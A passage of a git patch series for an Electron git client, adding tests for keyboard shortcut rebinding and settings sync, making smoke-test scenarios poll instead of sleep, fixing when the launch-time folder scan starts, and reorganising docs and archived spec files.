getBisectState(git, repo.path)).toBeNull(); + + // The midpoint checkout would delete f4, which has a local edit: git refuses and nothing is left half-started. + await repo.write('f4', 'local edit'); + await expect(bisectStart(git, repo.path, c4, c1)).rejects.toThrow(); + expect(await getBisectState(git, repo.path)).toBeNull(); + expect(repo.git(['branch', '--show-current']).trim()).toBe('main'); + repo.git(['checkout', '--', 'f4']); + + await bisectStart(git, repo.path, c4, c1); + await bisectMark(git, repo.path, 'good', c1); + await bisectMark(git, repo.path, 'skip', null); + expect((await getBisectState(git, repo.path))?.good).toContain(c1); + await bisectReset(git, repo.path); + } finally { + await repo.dispose(); + } + }); +}); diff --git a/test/shortcuts.test.ts b/test/shortcuts.test.ts new file mode 100644 index 0000000..32459cb --- /dev/null +++ b/test/shortcuts.test.ts @@ -0,0 +1,146 @@ +import { describe, expect, it } from 'vitest'; +import { DEFAULT_SETTINGS } from '../src/shared/types'; +import { buildPortablePreferences, buildPreferencesPatch, validateSettingsExport } from '../src/main/settings/sync-core'; +import { + acceleratorFromEvent, + canonicalAccelerator, + findConflict, + formatAccelerator, + isValidAccelerator, + matchesAccelerator, + mergeShortcuts, + sanitizeShortcutOverrides, + setShortcut, + SHORTCUTS, + type KeyLike, +} from '../src/shared/shortcuts'; + +const key = (code: string, mods: Partial> = {}): KeyLike => ({ code, ctrlKey: false, metaKey: false, altKey: false, shiftKey: false, ...mods }); + +describe('defaults and overrides', () => { + it('ships valid, conflict-free defaults on every platform', () => { + const defaults = mergeShortcuts(); + for (const isMac of [false, true]) { + for (const def of SHORTCUTS) { + expect(isValidAccelerator(def.accelerator), def.id).toBe(true); + expect(findConflict(defaults, def.id, def.accelerator, isMac), `${def.id} (mac=${isMac})`).toBeNull(); + } + } + }); + + it('applies overrides, unbinds on null and ignores unknown ids or invalid accelerators', () => { + const merged = mergeShortcuts({ push: 'CmdOrCtrl+Alt+P', pull: null, nope: 'CmdOrCtrl+Q', fetch: 'banana', constructor: 'CmdOrCtrl+Q' }); + expect(merged.push).toBe('CmdOrCtrl+Alt+P'); + expect(merged.pull).toBeNull(); + expect(merged.fetch).toBe('CmdOrCtrl+Shift+T'); + expect(merged.nope).toBeUndefined(); + expect(merged['show-history']).toBe('CmdOrCtrl+2'); + }); + + it('drops the override when an action is bound back to its default', () => { + const changed = setShortcut({}, 'push', 'CmdOrCtrl+Alt+P'); + expect(changed).toEqual({ push: 'CmdOrCtrl+Alt+P' }); + expect(setShortcut(changed, 'push', 'CmdOrCtrl+P')).toEqual({}); + expect(setShortcut({}, 'push', null)).toEqual({ push: null }); + }); + + it('sanitizes a hand-edited overrides object', () => { + expect(sanitizeShortcutOverrides({ push: 'CmdOrCtrl+Alt+P', pull: 3, fetch: 'Shift+T', bogus: null })).toEqual({ push: 'CmdOrCtrl+Alt+P' }); + expect(sanitizeShortcutOverrides(['push'])).toEqual({}); + expect(sanitizeShortcutOverrides(null)).toEqual({}); + }); +}); + +describe('conflict detection', () => { + const defaults = mergeShortcuts(); + + it('finds the action already holding an accelerator, however it is spelled', () => { + expect(findConflict(defaults, 'fetch', 'CommandOrControl+P', false)).toEqual({ id: 'push', label: 'Push' }); + expect(findConflict(defaults, 'fetch', 'ctrl+p', false)?.id).toBe('push'); + }); + + it('compares CmdOrCtrl with the literal platform modifier', () => { + // Ctrl+` (open in terminal) is the same key as CmdOrCtrl+` on Linux/Windows, but not on macOS. + expect(findConflict(defaults, 'push', 'CmdOrCtrl+`', false)?.id).toBe('open-in-shell'); + expect(findConflict(defaults, 'push', 'CmdOrCtrl+`', true)).toBeNull(); + }); + + it('ignores the action itself and unbound actions', () => { + expect(findConflict(defaults, 'push', 'CmdOrCtrl+P', false)).toBeNull(); + expect(findConflict({ ...defaults, push: null }, 'fetch', 'CmdOrCtrl+P', false)).toBeNull(); + }); + + it('reports fixed menu items as non-rebindable', () => { + expect(findConflict(defaults, 'push', 'CmdOrCtrl+C', false)).toEqual({ id: null, label: 'Copy' }); + expect(findConflict(defaults, 'push', 'CmdOrCtrl+Alt+N', true)?.id).toBeNull(); + }); +}); + +describe('accelerators and key events', () => { + it('records a key press as a portable accelerator', () => { + expect(acceleratorFromEvent(key('KeyK', { ctrlKey: true }), false)).toBe('CmdOrCtrl+K'); + expect(acceleratorFromEvent(key('KeyK', { metaKey: true }), true)).toBe('CmdOrCtrl+K'); + expect(acceleratorFromEvent(key('KeyK', { ctrlKey: true, shiftKey: true, altKey: true }), false)).toBe('CmdOrCtrl+Alt+Shift+K'); + expect(acceleratorFromEvent(key('Backquote', { ctrlKey: true }), true)).toBe('Ctrl+`'); + expect(acceleratorFromEvent(key('F5'), false)).toBe('F5'); + }); + + it('uses the physical key, so Shift or Option do not change which key was pressed', () => { + expect(acceleratorFromEvent(key('Digit1', { ctrlKey: true, shiftKey: true }), false)).toBe('CmdOrCtrl+Shift+1'); + expect(acceleratorFromEvent(key('KeyB', { altKey: true }), true)).toBe('Alt+B'); + }); + + it('refuses combinations that would swallow normal typing or are only modifiers', () => { + expect(acceleratorFromEvent(key('KeyK'), false)).toBeNull(); + expect(acceleratorFromEvent(key('KeyK', { shiftKey: true }), false)).toBeNull(); + expect(acceleratorFromEvent(key('ControlLeft', { ctrlKey: true }), false)).toBeNull(); + expect(acceleratorFromEvent(key('Numpad5', { ctrlKey: true }), false)).toBeNull(); + }); + + it('matches exactly the bound combination, with CmdOrCtrl resolved per platform', () => { + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { ctrlKey: true }), false)).toBe(true); + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { metaKey: true }), true)).toBe(true); + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { ctrlKey: true }), true)).toBe(false); + expect(matchesAccelerator('CmdOrCtrl+1', key('Digit1', { ctrlKey: true, shiftKey: true }), false)).toBe(false); + expect(matchesAccelerator('CmdOrCtrl+Enter', key('Enter', { ctrlKey: true }), false)).toBe(true); + expect(matchesAccelerator('CommandOrControl+Return', key('NumpadEnter', { ctrlKey: true }), false)).toBe(true); + expect(matchesAccelerator('Alt+B', key('KeyB', { altKey: true }), true)).toBe(true); + expect(matchesAccelerator(null, key('KeyB', { altKey: true }), true)).toBe(false); + }); + + it('rejects malformed accelerators', () => { + for (const bad of ['', 'Ctrl+', 'Ctrl++K', 'K', 'Shift+K', 'Hyper+K', 'Ctrl+Banana']) expect(isValidAccelerator(bad), bad).toBe(false); + expect(canonicalAccelerator('Shift+Ctrl+k', false)).toBe('Ctrl+Shift+K'); + }); + + it('formats for display with the platform modifier', () => { + expect(formatAccelerator('CmdOrCtrl+Shift+O', false)).toBe('Ctrl+Shift+O'); + expect(formatAccelerator('CmdOrCtrl+Shift+O', true)).toBe('⌘+Shift+O'); + }); +}); + +describe('portable settings', () => { + const withShortcuts = { ...DEFAULT_SETTINGS, shortcuts: { push: 'CmdOrCtrl+Alt+P', pull: null } }; + const importFile = (shortcuts: unknown) => + validateSettingsExport({ schema: 1, app: 'gitgood', version: '1', exportedAt: 'x', platform: 'linux', preferences: { shortcuts } }); + + it('exports the overrides', () => { + expect(buildPortablePreferences(withShortcuts).shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P', pull: null }); + }); + + it('keeps valid overrides on import and warns about the rest', () => { + const result = importFile({ push: 'CmdOrCtrl+Alt+P', fetch: 'nonsense', bogus: 'CmdOrCtrl+Q' }); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.data.preferences?.shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P' }); + expect(result.warnings.join('\n')).toMatch(/shortcuts/); + }); + + it('merge overlays per action; replace resets what the file omits', () => { + const incoming = { shortcuts: { fetch: 'CmdOrCtrl+Alt+T' } }; + expect(buildPreferencesPatch(withShortcuts, incoming, 'merge').shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P', pull: null, fetch: 'CmdOrCtrl+Alt+T' }); + expect(buildPreferencesPatch(withShortcuts, incoming, 'replace').shortcuts).toEqual({ fetch: 'CmdOrCtrl+Alt+T' }); + expect(buildPreferencesPatch(withShortcuts, {}, 'replace').shortcuts).toEqual({}); + expect(buildPreferencesPatch(withShortcuts, {}, 'merge').shortcuts).toEqual({ push: 'CmdOrCtrl+Alt+P', pull: null }); + }); +}); diff --git a/test/smoke/scenarios/17-notifications-inbox.json b/test/smoke/scenarios/17-notifications-inbox.json index 808fe43..143f487 100644 --- a/test/smoke/scenarios/17-notifications-inbox.json +++ b/test/smoke/scenarios/17-notifications-inbox.json @@ -20,7 +20,7 @@ "dump": "state.json" }, { - "js": "(async () => { window.__gitgood.actions.toggleInboxPanel(); await new Promise((r) => setTimeout(r, 300)); const groups = Array.from(document.querySelectorAll('.inbox-panel .list-group-header')).map((el) => el.textContent); const chips = Array.from(document.querySelectorAll('.inbox-panel .badge')).map((el) => el.textContent); return JSON.stringify({ open: window.__gitgood.store.get().inboxUi.open, groups, chips }); })()", + "js": "(async () => { window.__gitgood.actions.toggleInboxPanel(); for (let i = 0; i < 40 && !document.querySelector('.inbox-panel .list-group-header'); i++) await new Promise((r) => setTimeout(r, 50)); const groups = Array.from(document.querySelectorAll('.inbox-panel .list-group-header')).map((el) => el.textContent); const chips = Array.from(document.querySelectorAll('.inbox-panel .badge')).map((el) => el.textContent); return JSON.stringify({ open: window.__gitgood.store.get().inboxUi.open, groups, chips }); })()", "dump": "panel.json" }, { "shot": "bell-and-panel.png" }, diff --git a/test/smoke/scenarios/19-settings-sync-dialogs-render.json b/test/smoke/scenarios/19-settings-sync-dialogs-render.json index 0687f20..14bd5da 100644 --- a/test/smoke/scenarios/19-settings-sync-dialogs-render.json +++ b/test/smoke/scenarios/19-settings-sync-dialogs-render.json @@ -4,7 +4,7 @@ "steps": [ { "wait": 1500 }, { - "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'export-settings' }); await new Promise((r) => setTimeout(r, 300)); const text = document.body.textContent || ''; const d = window.__gitgood.store.get().dialog; return JSON.stringify({ dialogKind: d && d.kind, hasChecklist: text.includes('Repository list') && text.includes('Integrations'), hasExclusionNote: text.includes('never includes your API key') }); })()", + "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'export-settings' }); for (let i = 0; i < 40 && !(document.body.textContent || '').includes('never includes your API key'); i++) await new Promise((r) => setTimeout(r, 50)); const text = document.body.textContent || ''; const d = window.__gitgood.store.get().dialog; return JSON.stringify({ dialogKind: d && d.kind, hasChecklist: text.includes('Repository list') && text.includes('Integrations'), hasExclusionNote: text.includes('never includes your API key') }); })()", "dump": "export-dialog.json" }, { "shot": "export-dialog.png" }, diff --git a/test/smoke/scenarios/20-update-banner.json b/test/smoke/scenarios/20-update-banner.json index b7d4af5..1b32e7a 100644 --- a/test/smoke/scenarios/20-update-banner.json +++ b/test/smoke/scenarios/20-update-banner.json @@ -4,7 +4,7 @@ "steps": [ { "wait": 1500 }, { - "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'about' }); await new Promise((r) => setTimeout(r, 400)); const text = document.body.textContent || ''; return JSON.stringify({ realStatus: window.__gitgood.store.get().updateState.status, hasUnavailableText: text.includes('Updates unavailable in this build') }); })()", + "js": "(async () => { window.__gitgood.actions.openDialog({ kind: 'about' }); for (let i = 0; i < 40 && !(document.body.textContent || '').includes('Updates unavailable in this build'); i++) await new Promise((r) => setTimeout(r, 50)); const text = document.body.textContent || ''; return JSON.stringify({ realStatus: window.__gitgood.store.get().updateState.status, hasUnavailableText: text.includes('Updates unavailable in this build') }); })()", "dump": "about-disabled.json" }, { "shot": "about-disabled.png" }, @@ -14,7 +14,7 @@ }, { "shot": "banner.png" }, { - "js": "(async () => { window.__gitgood.actions.openUpdateNotes(); await new Promise((r) => setTimeout(r, 300)); const d = window.__gitgood.store.get().dialog; const text = document.body.textContent || ''; return JSON.stringify({ dialogKind: d && d.kind, hasNotes: text.includes('Fixes a thing.'), hasLink: text.includes('github.com/erwin-wee/gitgood') }); })()", + "js": "(async () => { window.__gitgood.actions.openUpdateNotes(); for (let i = 0; i < 40 && !(document.body.textContent || '').includes('Fixes a thing.'); i++) await new Promise((r) => setTimeout(r, 50)); const d = window.__gitgood.store.get().dialog; const text = document.body.textContent || ''; return JSON.stringify({ dialogKind: d && d.kind, hasNotes: text.includes('Fixes a thing.'), hasLink: text.includes('github.com/erwin-wee/gitgood') }); })()", "dump": "notes.json" }, { "shot": "notes.png" }, diff --git a/tsconfig.node.json b/tsconfig.node.json index 9485fae..6ea6025 100644 --- a/tsconfig.node.json +++ b/tsconfig.node.json @@ -5,5 +5,5 @@ "types": ["node"], "noEmit": true }, - "include": ["src/main/**/*.ts", "src/preload/**/*.ts", "src/server/**/*.ts", "src/shared/**/*.ts", "electron.vite.config.ts"] + "include": ["src/main/**/*.ts", "src/preload/**/*.ts", "src/server/**/*.ts", "src/mcp/**/*.ts", "src/shared/**/*.ts", "electron.vite.config.ts"] } diff --git a/vite.mcp.config.ts b/vite.mcp.config.ts new file mode 100644 index 0000000..2158fca --- /dev/null +++ b/vite.mcp.config.ts @@ -0,0 +1,21 @@ +import { readFileSync } from 'node:fs'; +import { resolve } from 'node:path'; +import { defineConfig } from 'vite'; + +// The MCP server (src/mcp) as one dependency-free file, so `node out/mcp/index.mjs` works from a +// checkout and `ELECTRON_RUN_AS_NODE=1 gitgood -e …` works from an installed app (see plugin/README.md). +export default defineConfig({ + resolve: { alias: { '@shared': resolve('src/shared') } }, + define: { __GITGOOD_VERSION__: JSON.stringify(JSON.parse(readFileSync('package.json', 'utf8')).version) }, + build: { + ssr: true, + outDir: 'out/mcp', + emptyOutDir: true, + target: 'node20', + sourcemap: true, + rollupOptions: { + input: resolve('src/mcp/index.ts'), + output: { entryFileNames: 'index.mjs', format: 'es' }, + }, + }, +}); From 2f265357eb0aa3e5de15df51afe602b3300456ba Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Thu, 1 Oct 2026 21:25:35 +0800 Subject: [PATCH 04/17] fix: start the launch-time watched-folder scan once git is located The scan only needs git but waited for every tool probe (gh auth, gh api user), which can take 15 s when gh is slow. The conflicts smoke scenario now polls for the dialog instead of relying on a 300 ms sleep. --- src/main/index.ts | 12 +++++++----- test/smoke/scenarios/06-conflicts-dialog.json | 2 +- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/src/main/index.ts b/src/main/index.ts index 5ff1ad9..6f71a51 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -281,15 +281,17 @@ if (backgroundServer) { // Discover git/gh/claude in the background and tell the renderer. void tools.refresh().then((state) => { log.info(`git: ${state.git.version ?? 'missing'} (${state.git.path ?? '-'}); gh: ${state.gh.version ?? 'missing'} (${state.gh.path ?? '-'}); account: ${state.ghAccount?.login ?? 'none'}`); - // A scan registers candidates through Git, so wait until initial tool discovery finishes. - if (store.getSettings().watchedFolders.length) { + }); + // A scan registers candidates through Git only, so it waits for the git probe — never for gh, whose probe and sign-in read can take many seconds. + if (store.getSettings().watchedFolders.length) { + void tools.ensure('git').then(() => { log.info('Scanning watched folders'); - void watchedFolders + return watchedFolders .scan() .then((r) => log.info(`Watched-folder scan: ${r.added} added, ${r.skipped} skipped, ${r.dropped} dropped, ${r.unreadable} unreadable${r.cancelled ? ', cancelled' : ''}`)) .catch((err) => log.error('Watched-folder scan failed', err)); - } - }); + }); + } // Periodic background fetch for the active repository. setInterval(async () => { diff --git a/test/smoke/scenarios/06-conflicts-dialog.json b/test/smoke/scenarios/06-conflicts-dialog.json index 992e98e..93a1c1b 100644 --- a/test/smoke/scenarios/06-conflicts-dialog.json +++ b/test/smoke/scenarios/06-conflicts-dialog.json @@ -4,7 +4,7 @@ "steps": [ { "wait": 1500 }, { - "js": "(async () => { await window.__gitgood.actions.addLocalRepository(__REPO_PATH__); await new Promise((r) => setTimeout(r, 300)); await window.__gitgood.actions.mergeBranch('feature', false); await new Promise((r) => setTimeout(r, 300)); const s = window.__gitgood.store.get(); return JSON.stringify({ dialogKind: s.dialog && s.dialog.kind, hasConflicts: s.status && s.status.hasConflicts, operationKind: s.status && s.status.operation.kind, conflictedFiles: (s.status ? s.status.files : []).filter((f) => f.conflict).map((f) => f.path) }); })()", + "js": "(async () => { await window.__gitgood.actions.addLocalRepository(__REPO_PATH__); await new Promise((r) => setTimeout(r, 300)); await window.__gitgood.actions.mergeBranch('feature', false); for (let i = 0; i < 100 && !(window.__gitgood.store.get().dialog && window.__gitgood.store.get().dialog.kind === 'conflicts'); i++) await new Promise((r) => setTimeout(r, 50)); const s = window.__gitgood.store.get(); return JSON.stringify({ dialogKind: s.dialog && s.dialog.kind, hasConflicts: s.status && s.status.hasConflicts, operationKind: s.status && s.status.operation.kind, conflictedFiles: (s.status ? s.status.files : []).filter((f) => f.conflict).map((f) => f.path) }); })()", "dump": "state.json" }, { "shot": "screenshot.png" } From 9717d72871f1c6aa20d784a6b0ad75e4c1d5310d Mon Sep 17 00:00:00 2001 From: Erwin Wee Date: Thu, 1 Oct 2026 21:25:36 +0800 Subject: [PATCH 05/17] docs: regroup README, add CHANGELOG and SECURITY, archive completed openspec changes README features are grouped under headings and cover the new features; server mode documents running where repositories live (WSL2, remote VM). CHANGELOG.md reconstructs 0.1.0-0.3.2 plus Unreleased; SECURITY.md covers private reporting and the server-mode threat model. ARCHITECTURE and AI-FEATURES describe the new modules. 19 completed openspec changes are archived and their deltas synced into openspec/specs; the 9 tasks that still need live verification stay open with notes. --- CHANGELOG.md | 113 ++++++++++++++ README.md | 83 ++++++++--- SECURITY.md | 39 +++++ docs/AI-FEATURES.md | 8 +- docs/ARCHITECTURE.md | 83 +++++++++-- docs/CONTRIBUTING.md | 5 +- docs/DEVELOPMENT.md | 3 + openspec/changes/add-ai-pr-review/tasks.md | 4 + .../changes/add-ai-precommit-review/tasks.md | 1 + .../changes/add-main-process-tests/tasks.md | 1 + openspec/changes/add-settings-sync/tasks.md | 1 + .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-review-agent-handoff/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-command-palette/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-commit-splitting/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-error-explanation/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../2026-10-01-add-ai-explain-diff}/design.md | 0 .../proposal.md | 0 .../specs/ai-explain-diff/spec.md | 0 .../2026-10-01-add-ai-explain-diff}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-pr-description/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../2026-10-01-add-ai-pr-triage}/design.md | 0 .../2026-10-01-add-ai-pr-triage}/proposal.md | 0 .../specs/ai-pr-triage/spec.md | 0 .../2026-10-01-add-ai-pr-triage}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-rebase-assistant/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-release-notes/spec.md | 0 .../2026-10-01-add-ai-release-notes}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/blame/spec.md | 0 .../specs/history/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../2026-10-01-add-commit-signing}/design.md | 0 .../proposal.md | 0 .../specs/commit-signing/spec.md | 0 .../2026-10-01-add-commit-signing}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/history/spec.md | 16 +- .../tasks.md | 0 .../.openspec.yaml | 0 .../2026-10-01-add-issues-panel}/design.md | 0 .../2026-10-01-add-issues-panel}/proposal.md | 0 .../specs/issues/spec.md | 0 .../2026-10-01-add-issues-panel}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/notifications-inbox/spec.md | 0 .../tasks.md | 0 .../.openspec.yaml | 0 .../2026-10-01-add-repo-health}/design.md | 0 .../2026-10-01-add-repo-health}/proposal.md | 0 .../specs/repo-health/spec.md | 0 .../2026-10-01-add-repo-health}/tasks.md | 0 .../.openspec.yaml | 0 .../2026-10-01-add-stash-manager}/design.md | 0 .../2026-10-01-add-stash-manager}/proposal.md | 0 .../specs/stash/spec.md | 0 .../2026-10-01-add-stash-manager}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/lfs/spec.md | 0 .../specs/submodules/spec.md | 0 .../tasks.md | 0 .../2026-10-01-add-worktrees}/.openspec.yaml | 0 .../2026-10-01-add-worktrees}/design.md | 0 .../2026-10-01-add-worktrees}/proposal.md | 0 .../specs/worktrees/spec.md | 0 .../2026-10-01-add-worktrees}/tasks.md | 0 .../.openspec.yaml | 0 .../design.md | 0 .../proposal.md | 0 .../specs/ai-conflict-resolution/spec.md | 0 .../tasks.md | 0 openspec/specs/ai-command-palette/spec.md | 102 +++++++++++++ openspec/specs/ai-commit-splitting/spec.md | 91 ++++++++++++ openspec/specs/ai-conflict-resolution/spec.md | 82 ++++++++++- openspec/specs/ai-error-explanation/spec.md | 87 +++++++++++ openspec/specs/ai-explain-diff/spec.md | 98 ++++++++++++ openspec/specs/ai-pr-description/spec.md | 114 ++++++++++++++ openspec/specs/ai-pr-triage/spec.md | 79 ++++++++++ openspec/specs/ai-rebase-assistant/spec.md | 95 ++++++++++++ openspec/specs/ai-release-notes/spec.md | 73 +++++++++ .../specs/ai-review-agent-handoff/spec.md | 139 ++++++++++++++++++ openspec/specs/blame/spec.md | 55 +++++++ openspec/specs/commit-signing/spec.md | 76 ++++++++++ openspec/specs/history/spec.md | 84 ++++++++++- openspec/specs/issues/spec.md | 80 ++++++++++ openspec/specs/lfs/spec.md | 47 ++++++ openspec/specs/notifications-inbox/spec.md | 98 ++++++++++++ openspec/specs/repo-health/spec.md | 92 ++++++++++++ openspec/specs/stash/spec.md | 66 ++++++++- openspec/specs/submodules/spec.md | 53 +++++++ openspec/specs/worktrees/spec.md | 84 +++++++++++ 128 files changed, 1996 insertions(+), 56 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 SECURITY.md rename openspec/changes/{add-agent-review-handoff => archive/2026-10-01-add-agent-review-handoff}/.openspec.yaml (100%) rename openspec/changes/{add-agent-review-handoff => archive/2026-10-01-add-agent-review-handoff}/design.md (100%) rename openspec/changes/{add-agent-review-handoff => archive/2026-10-01-add-agent-review-handoff}/proposal.md (100%) rename openspec/changes/{add-agent-review-handoff => archive/2026-10-01-add-agent-review-handoff}/specs/ai-review-agent-handoff/spec.md (100%) rename openspec/changes/{add-agent-review-handoff => archive/2026-10-01-add-agent-review-handoff}/tasks.md (100%) rename openspec/changes/{add-ai-command-palette => archive/2026-10-01-add-ai-command-palette}/.openspec.yaml (100%) rename openspec/changes/{add-ai-command-palette => archive/2026-10-01-add-ai-command-palette}/design.md (100%) rename openspec/changes/{add-ai-command-palette => archive/2026-10-01-add-ai-command-palette}/proposal.md (100%) rename openspec/changes/{add-ai-command-palette => archive/2026-10-01-add-ai-command-palette}/specs/ai-command-palette/spec.md (100%) rename openspec/changes/{add-ai-command-palette => archive/2026-10-01-add-ai-command-palette}/tasks.md (100%) rename openspec/changes/{add-ai-commit-splitting => archive/2026-10-01-add-ai-commit-splitting}/.openspec.yaml (100%) rename openspec/changes/{add-ai-commit-splitting => archive/2026-10-01-add-ai-commit-splitting}/design.md (100%) rename openspec/changes/{add-ai-commit-splitting => archive/2026-10-01-add-ai-commit-splitting}/proposal.md (100%) rename openspec/changes/{add-ai-commit-splitting => archive/2026-10-01-add-ai-commit-splitting}/specs/ai-commit-splitting/spec.md (100%) rename openspec/changes/{add-ai-commit-splitting => archive/2026-10-01-add-ai-commit-splitting}/tasks.md (100%) rename openspec/changes/{add-ai-error-explanation => archive/2026-10-01-add-ai-error-explanation}/.openspec.yaml (100%) rename openspec/changes/{add-ai-error-explanation => archive/2026-10-01-add-ai-error-explanation}/design.md (100%) rename openspec/changes/{add-ai-error-explanation => archive/2026-10-01-add-ai-error-explanation}/proposal.md (100%) rename openspec/changes/{add-ai-error-explanation => archive/2026-10-01-add-ai-error-explanation}/specs/ai-error-explanation/spec.md (100%) rename openspec/changes/{add-ai-error-explanation => archive/2026-10-01-add-ai-error-explanation}/tasks.md (100%) rename openspec/changes/{add-ai-explain-diff => archive/2026-10-01-add-ai-explain-diff}/.openspec.yaml (100%) rename openspec/changes/{add-ai-explain-diff => archive/2026-10-01-add-ai-explain-diff}/design.md (100%) rename openspec/changes/{add-ai-explain-diff => archive/2026-10-01-add-ai-explain-diff}/proposal.md (100%) rename openspec/changes/{add-ai-explain-diff => archive/2026-10-01-add-ai-explain-diff}/specs/ai-explain-diff/spec.md (100%) rename openspec/changes/{add-ai-explain-diff => archive/2026-10-01-add-ai-explain-diff}/tasks.md (100%) rename openspec/changes/{add-ai-pr-description => archive/2026-10-01-add-ai-pr-description}/.openspec.yaml (100%) rename openspec/changes/{add-ai-pr-description => archive/2026-10-01-add-ai-pr-description}/design.md (100%) rename openspec/changes/{add-ai-pr-description => archive/2026-10-01-add-ai-pr-description}/proposal.md (100%) rename openspec/changes/{add-ai-pr-description => archive/2026-10-01-add-ai-pr-description}/specs/ai-pr-description/spec.md (100%) rename openspec/changes/{add-ai-pr-description => archive/2026-10-01-add-ai-pr-description}/tasks.md (100%) rename openspec/changes/{add-ai-pr-triage => archive/2026-10-01-add-ai-pr-triage}/.openspec.yaml (100%) rename openspec/changes/{add-ai-pr-triage => archive/2026-10-01-add-ai-pr-triage}/design.md (100%) rename openspec/changes/{add-ai-pr-triage => archive/2026-10-01-add-ai-pr-triage}/proposal.md (100%) rename openspec/changes/{add-ai-pr-triage => archive/2026-10-01-add-ai-pr-triage}/specs/ai-pr-triage/spec.md (100%) rename openspec/changes/{add-ai-pr-triage => archive/2026-10-01-add-ai-pr-triage}/tasks.md (100%) rename openspec/changes/{add-ai-rebase-assistant => archive/2026-10-01-add-ai-rebase-assistant}/.openspec.yaml (100%) rename openspec/changes/{add-ai-rebase-assistant => archive/2026-10-01-add-ai-rebase-assistant}/design.md (100%) rename openspec/changes/{add-ai-rebase-assistant => archive/2026-10-01-add-ai-rebase-assistant}/proposal.md (100%) rename openspec/changes/{add-ai-rebase-assistant => archive/2026-10-01-add-ai-rebase-assistant}/specs/ai-rebase-assistant/spec.md (100%) rename openspec/changes/{add-ai-rebase-assistant => archive/2026-10-01-add-ai-rebase-assistant}/tasks.md (100%) rename openspec/changes/{add-ai-release-notes => archive/2026-10-01-add-ai-release-notes}/.openspec.yaml (100%) rename openspec/changes/{add-ai-release-notes => archive/2026-10-01-add-ai-release-notes}/design.md (100%) rename openspec/changes/{add-ai-release-notes => archive/2026-10-01-add-ai-release-notes}/proposal.md (100%) rename openspec/changes/{add-ai-release-notes => archive/2026-10-01-add-ai-release-notes}/specs/ai-release-notes/spec.md (100%) rename openspec/changes/{add-ai-release-notes => archive/2026-10-01-add-ai-release-notes}/tasks.md (100%) rename openspec/changes/{add-blame-and-file-history => archive/2026-10-01-add-blame-and-file-history}/.openspec.yaml (100%) rename openspec/changes/{add-blame-and-file-history => archive/2026-10-01-add-blame-and-file-history}/design.md (100%) rename openspec/changes/{add-blame-and-file-history => archive/2026-10-01-add-blame-and-file-history}/proposal.md (100%) rename openspec/changes/{add-blame-and-file-history => archive/2026-10-01-add-blame-and-file-history}/specs/blame/spec.md (100%) rename openspec/changes/{add-blame-and-file-history => archive/2026-10-01-add-blame-and-file-history}/specs/history/spec.md (100%) rename openspec/changes/{add-blame-and-file-history => archive/2026-10-01-add-blame-and-file-history}/tasks.md (100%) rename openspec/changes/{add-commit-signing => archive/2026-10-01-add-commit-signing}/.openspec.yaml (100%) rename openspec/changes/{add-commit-signing => archive/2026-10-01-add-commit-signing}/design.md (100%) rename openspec/changes/{add-commit-signing => archive/2026-10-01-add-commit-signing}/proposal.md (100%) rename openspec/changes/{add-commit-signing => archive/2026-10-01-add-commit-signing}/specs/commit-signing/spec.md (100%) rename openspec/changes/{add-commit-signing => archive/2026-10-01-add-commit-signing}/tasks.md (100%) rename openspec/changes/{add-history-content-search => archive/2026-10-01-add-history-content-search}/.openspec.yaml (100%) rename openspec/changes/{add-history-content-search => archive/2026-10-01-add-history-content-search}/design.md (100%) rename openspec/changes/{add-history-content-search => archive/2026-10-01-add-history-content-search}/proposal.md (100%) rename openspec/changes/{add-history-content-search => archive/2026-10-01-add-history-content-search}/specs/history/spec.md (84%) rename openspec/changes/{add-history-content-search => archive/2026-10-01-add-history-content-search}/tasks.md (100%) rename openspec/changes/{add-issues-panel => archive/2026-10-01-add-issues-panel}/.openspec.yaml (100%) rename openspec/changes/{add-issues-panel => archive/2026-10-01-add-issues-panel}/design.md (100%) rename openspec/changes/{add-issues-panel => archive/2026-10-01-add-issues-panel}/proposal.md (100%) rename openspec/changes/{add-issues-panel => archive/2026-10-01-add-issues-panel}/specs/issues/spec.md (100%) rename openspec/changes/{add-issues-panel => archive/2026-10-01-add-issues-panel}/tasks.md (100%) rename openspec/changes/{add-notifications-inbox => archive/2026-10-01-add-notifications-inbox}/.openspec.yaml (100%) rename openspec/changes/{add-notifications-inbox => archive/2026-10-01-add-notifications-inbox}/design.md (100%) rename openspec/changes/{add-notifications-inbox => archive/2026-10-01-add-notifications-inbox}/proposal.md (100%) rename openspec/changes/{add-notifications-inbox => archive/2026-10-01-add-notifications-inbox}/specs/notifications-inbox/spec.md (100%) rename openspec/changes/{add-notifications-inbox => archive/2026-10-01-add-notifications-inbox}/tasks.md 